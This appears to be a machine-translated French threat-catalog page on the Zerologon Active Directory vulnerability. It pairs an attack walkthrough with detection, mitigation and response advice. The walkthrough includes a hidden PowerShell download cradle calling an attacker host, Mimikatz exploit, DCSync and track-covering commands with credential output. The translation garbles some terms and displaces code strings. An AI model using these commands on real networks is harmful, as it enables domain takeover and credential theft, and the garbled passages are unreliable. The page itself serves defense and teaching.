Vous êtes sur la page 1sur 9

Attaque d’exploit Zerologon

Le 11 septembre 2020, les chercheurs de Secura ont annoncé une nouvelle vulnérabilité
qu’ils ont nommée Zerologon. Zerologon permet à un attaquant non authentifié
d’escalader à distance ses privilèges à Domain Admin, avec l’accès réseau à un
contrôleur de domaine comme seule exigence. Chaque organisation exécutant Active
Directory était vulnérable à cet exploit.

Zerologon exploite une implémentation non sécurisée du cryptage dans le protocole


distant Netlogon. Les chercheurs ont découvert que la
fonction ComputeNetLogonCredential utilisait un vecteur d’initialisation (IV) nul (tous les
zéros) pour l’algorithme AES fonctionnant en mode de rétroaction de chiffrement 8 bits.
Lorsque vous utilisez ce mode, la réutilisation du même IV entraîne une fuite
d’informations sur le mot de passe en texte brut et est considérée comme non
sécurisée.

En fonctionnement normal, la faible implémentation IV n’est pas perceptible, mais les


chercheurs ont constaté qu’environ 1 authentification sur 256 avec un mot de passe en
texte brut zéro et un IV entièrement zéro produisait un texte chiffré entièrement nul.
Cela signifie qu’une fois qu’un attaquant a accès au réseau d’un contrôleur de domaine,
il peut forcer brutalement son chemin sur le contrôleur de domaine en environ 256
tentatives, ce qui ne prend que 2 à 3 secondes. Toute stratégie de verrouillage de
compte qui pourrait être en place n’est pas pertinente car elle s’applique uniquement
aux comptes d’utilisateurs.

RÉSUMÉ DES MENACES


Cible: Active Directory
Outils: Mimikatz
Tactique ATT&CK® : Escalade des privilèges
Technique ATT&CK : Exploitation pour l’escalade des privilèges

DIFFICULTÉ
Détection: Douleur moyenne
Atténuation: Bas
Réponse: Dur

ÉTAPE 1

Prenez pied dans le réseau


Pour exploiter la vulnérabilité Zerologon, un adversaire doit d’abord prendre pied dans
le réseau de la victime afin de pouvoir communiquer directement avec un contrôleur de
domaine vulnérable. Il existe de nombreuses façons de s’implanter; Dans l’exemple ci-
dessous, nous supposons que l’adversaire a trompé un utilisateur sans méfiance en
ouvrant un document malveillant qui déploie une porte dérobée et se connecte à
l’infrastructure de commandement et de contrôle Covenant de l’adversaire.

Code:

# Non-Encoded Command

powershell -Sta -Nop -Window Hidden -Command "iex (New-Object


Net.WebClient).DownloadString('http://sbl-kali2/ps-listener')"

# Encoded Command

powershell -Sta -Nop -Window Hidden -EncodedCommand


aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABp
AGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAA
OgAvAC8AcwBiAGwALQBrAGEAbABpADIALwBwAHMALQBsAGkAcwB0AGUAbgBlAHIAJwAp
AA

ÉTAPE 2

Localiser un contrôleur de domaine vulnérable


Une fois que l’adversaire a pris pied sur le réseau, il doit effectuer une reconnaissance
pour déterminer si des contrôleurs de domaine sont présents et vulnérables à l’exploit.
Étant donné qu’ils possèdent désormais des droits d’exécution de code sur l’ordinateur
d’un utilisateur, ils peuvent utiliser PowerShell pour énumérer les contrôleurs de
domaine et les versions dans le domaine actuel.

Code:

PowerShell
/powershellcommand:"[DirectoryServices.ActiveDirectory.Domain]::GetC
urrentDomain().DomainControllers | Select Name, OSVersion"

ÉTAPE 3

Authentification auprès d’un contrôleur de domaine vulnérable


Une fois que l’adversaire a déterminé avec quels contrôleurs de domaine vulnérables il
peut communiquer, il peut facilement exploiter la vulnérabilité Zerologon, car tout ce
dont elle a besoin est la capacité de communiquer avec un contrôleur de domaine via
Netlogon RPC. Il est important de noter que cette attaque ne nécessite pas
d’authentification et peut être exécutée à partir d’un système autre que Windows.

Code:

Mimikatz.exe "Lsadump::zerologon /target:sbl-basalt2 /account:sbl-


basalt2$ /exploit"

Sortie:

mimikatz # lsadump::zerologon /target:sbl-basalt2 /account:sbl-


basalt2$ /exploit /null

Remote : sbl-basalt2

ProtSeq : ncacn_ip_tcp

AuthnSvc : NONE

NULL Sess: yes

Target : sbl-basalt2

Account: sbl-basalt2$

Type : 6 (Server)

Mode : exploit

Trying to 'authenticate'...

====================================================================
====================================================================
==============================

NetrServerAuthenticate2: 0x00000000

NetrServerPasswordSet2 : 0x00000000
* Authentication: OK -- vulnerable

* Set password : OK -- may be unstable

Terminer l’attaque
L’exécution de la commande ci-dessus aura réinitialisé le mot de passe du compte
d’ordinateur du contrôleur de domaine à une valeur null. Il est important de noter que
seul le mot de passe du compte d’ordinateur dans Active Directory a été réinitialisé ; Le
contrôleur de domaine tentera toujours d’utiliser son ancien mot de passe pour
répliquer les modifications, ce qui échouera.

L’adversaire peut désormais utiliser ce compte d’ordinateur (et les privilèges qui lui sont
attribués) pour compromettre davantage Active Directory. Par exemple, ils peuvent
utiliser ces informations d’identification pour mener une attaque DCSync afin de
répliquer le hachage du mot de passe KRBTGT et les tickets d’or de la monnaie. Ensuite,
l’adversaire peut couvrir ses traces en exécutant la commande lsadump::p ostzerologon
pour restaurer le contrôleur de domaine à l’état opérationnel.

Code:

lsadump::dcsync /domain:basalt.igneous.stealthbitslab.com /dc:sbl-


basalt2 /user:ba\krbtgt /authuser:sbl-basalt2$ /authdomain:ba
/authpassword:"" /authntlm

lsadump::postzerologon /target:10.154.202.2 /account:sbl-basalt2$


/null

Sortie:

mimikatz # lsadump::dcsync /domain:basalt.igneous.stealthbitslab.com


/dc:sbl-basalt2 /user:ba\krbtgt /authuser:sbl-basalt2$
/authdomain:ba /authpassword:"" /authntlm

[DC] 'basalt.igneous.stealthbitslab.com' will be the domain

[DC] 'sbl-basalt2' will be the DC server

[DC] 'ba\krbtgt' will be the user account


[AUTH] Username: sbl-basalt2$

[AUTH] Domain : ba

[AUTH] Password:

[AUTH] Explicit NTLM Mode

--- Output Truncated ---

Credentials:

Hash NTLM: 75557a32b7c51e11361ab752eb9720da

ntlm- 0: 75557a32b7c51e11361ab752eb9720da

lm - 0: cf591b998a49fa934e3fb0dde45c75ff

--- Output Truncated ---

Credentials

aes256_hmac (4096) :
13d99f13f9f984b8af7779f97e9b096897b7d79653369c46dddc9fb6b17c806b

aes128_hmac (4096) : 97605fe38f43efdf348dc16a75acb265

des_cbc_md5 (4096) : c1f7e989dfbcf4fb

--- Output Truncated ---

mimikatz # lsadump::postzerologon /target:10.154.202.2 /account:sbl-


basalt2$ /null

Procedure to update AD domain password and its local stored password


remotely

mimic `netdom resetpwd`, experimental & best situation after reboot

Target : 10.154.202.2
Account: sbl-basalt2$

* SAM information

Domain name : BA

Domain SID : S-1-5-21-792045605-1560570832-3988794325

User RID : 1122

> Password updated (to FlipFl0p2020)

Détecter,

Difficulté: Douleur moyenne

Il est possible de détecter l’exploitation de la vulnérabilité Zerologon en utilisant :

 Journaux de débogage du service Netlogon


 Capture de paquets
 Outils offensants pour vérifier les mots de passe vides actuels ou passés

Détection à l’aide des journaux de débogage Netlogon


La journalisation de débogage Netlogon est très utile pour résoudre de nombreux types
de problèmes dans un environnement Active Directory, y compris la recherche de signes
d’exploitation Zerologon tentée ou réussie. Toutefois, les journaux de débogage
Netlogon ne sont pas activés par défaut. L’exécution de la commande activera la
journalisation des erreurs critiques et des événements de configuration de session.

Les tentatives d’exploitation de la vulnérabilité Zerologon sont mises en évidence par


plusieurs messages NetrServerAuthenticate provenant du même hôte dans la même
seconde, ce qui entraîne un mot de passe incorrect. Cette activité peut également être
utilisée pour détecter les tentatives d’exploitation de la vulnérabilité contre les
contrôleurs de domaine qui ont été corrigés. Si le contrôleur de domaine cible est
vulnérable, un message de réussite éventuel sera également trouvé : L’exécution de
mimikatz (étape 3 ci-dessus) réinitialise le mot de passe du compte d’ordinateur du
contrôleur de domaine à une valeur null. Ceci est démontré par un appel
NetpServerPasswordSet pour réinitialiser le mot de passe à une valeur null. Cette valeur
null peut être facilement détectée en recherchant la chaîne , qui est le hachage MD5 du
mot de passe null.  nltest /DBFlag:20000300

11/10 11:26:48 [CRITICAL] [6784] BA: NetrServerAuthenticate: Bad


password 0 for mimikatz on account sbl-basalt2$

11/10 11:26:48 [SESSION] [6784] BA: NetrServerAuthenticate returns


Success: mimikatz on account sbl-basalt2$ (Negot: 212fffff)

 
d98c1dd4 04b2008f 980980e9 7e42f8ec

11/10 11:43:49 [SESSION] [2272] BA: NetpServerPasswordSet:


Comp=mimikatz Acc=sbl-basalt2$ Entered

11/10 11:43:49 [SESSION] [2272] BA: NetpServerPasswordSet:


Comp=mimikatz Acc=sbl-basalt2$ Changing password locally

11/10 11:43:49 [SESSION] [2272] Setting Password of 'sbl-basalt2$'


to: d98c1dd4 04b2008f 980980e9 7e42f8ec ..............B~
11/10 11:43:49 [SESSION] [2272] BA: NetpServerPasswordSet:
Comp=mimikatz Acc=sbl-basalt2$ returns 0x0

 
Détection à l’aide de la capture de paquets réseau
La surveillance du réseau peut également être utilisée pour détecter les tentatives
d’exploitation de la vulnérabilité Zerologon. Surveillez le trafic Netlogon pour l’opération
NetrServerAuthenticate2 où les informations d’identification du client sont toutes des
zéros. Par exemple, dans Wireshark, le filtre d’affichage affichera ce trafic.

Si l’exploitation réussit, il existe un paquet dans lequel les informations d’identification


du client sont toutes des zéros mais le code de retour d’authentification est
Status_Success (0x00000000). Le filtre d’affichage Wireshark pour trouver ce trafic
est . netlogon.opnum == 15 && netlogon.clientcred ==
00:00:00:00:00:00:00:00)netlogon.opnum == 15 && (netlogon.rc == 0x00000000 ||
netlogon.clientcred == 00:00:00:00:00:00:00:00)

Détection à l’aide d’outils offensifs


Cette stratégie est particulièrement utile si vous soupçonnez que les contrôleurs de
domaine ont pu être compromis dans un passé récent et qu’un adversaire a couvert
leurs traces. Étant donné que cette approche utilise des outils offensifs, il est important
d’obtenir les bonnes approbations avant de l’essayer. Vous pouvez utiliser des outils tels
que la technique DCSync pour répliquer les hachages de mot de passe de compte
d’ordinateur contrôleur de domaine à partir d’Active Directory. Cela affichera tous les
hachages stockés pour le compte d’ordinateur jusqu’au maximum spécifié par le
paramètre Appliquer l’historique des mots de passe dans la stratégie de mot de passe ;
recherchez un hachage actuel ou précédent de , qui est le hachage NTLM d’un mot de
passe vide.  mimikatz31d6cfe0d16ae931b73c59d7e0c089c0

atténuer
Difficulté: Bas

Il est essentiel d’appliquer les correctifs publiés par Microsoft en août 2020 qui


corrigent la vulnérabilité en refusant l’authentification si les 5 premiers octets de
clientStoredCredential ne sont pas uniques.

Si des contrôleurs de domaine fonctionnent toujours sur une version non prise
en charge (et donc non corrigée) de Windows (2008R2 et versions antérieures),
isolez-les et prévoyez de les mettre à niveau ou de les remplacer. Si des
exigences techniques empêchent la mise à niveau vers des versions prises en
charge, des domaines distincts doivent être utilisés pour ces systèmes hérités.

et réagir
Difficulté: Dur
Si un adversaire a réussi à exploiter Zerologon, alors une compromission
complète d’Active Directory doit être présumée. Des preuves supplémentaires de
tentatives de compromission du fichier NTDS.dit ou d’utilisation de la technique
DCSync doivent être attendues. Vous devez activer le processus de réponse aux
incidents et alerter l’équipe d’intervention.

LECTURES CONNEXES

Zerologon : compromission du contrôleur de domaine non authentifié par la

subversion du chiffrement Netlogon (CVE-2020-1472)

Gestion des modifications apportées à la connexion de canal sécurisé Netlogon

associée à CVE-2020-1472 PoC du protocole

distant Netlogon pour Zerologon : CVE-2020-1472

Script

de test Zerologon Invoke-ZeroLogon

Vous aimerez peut-être aussi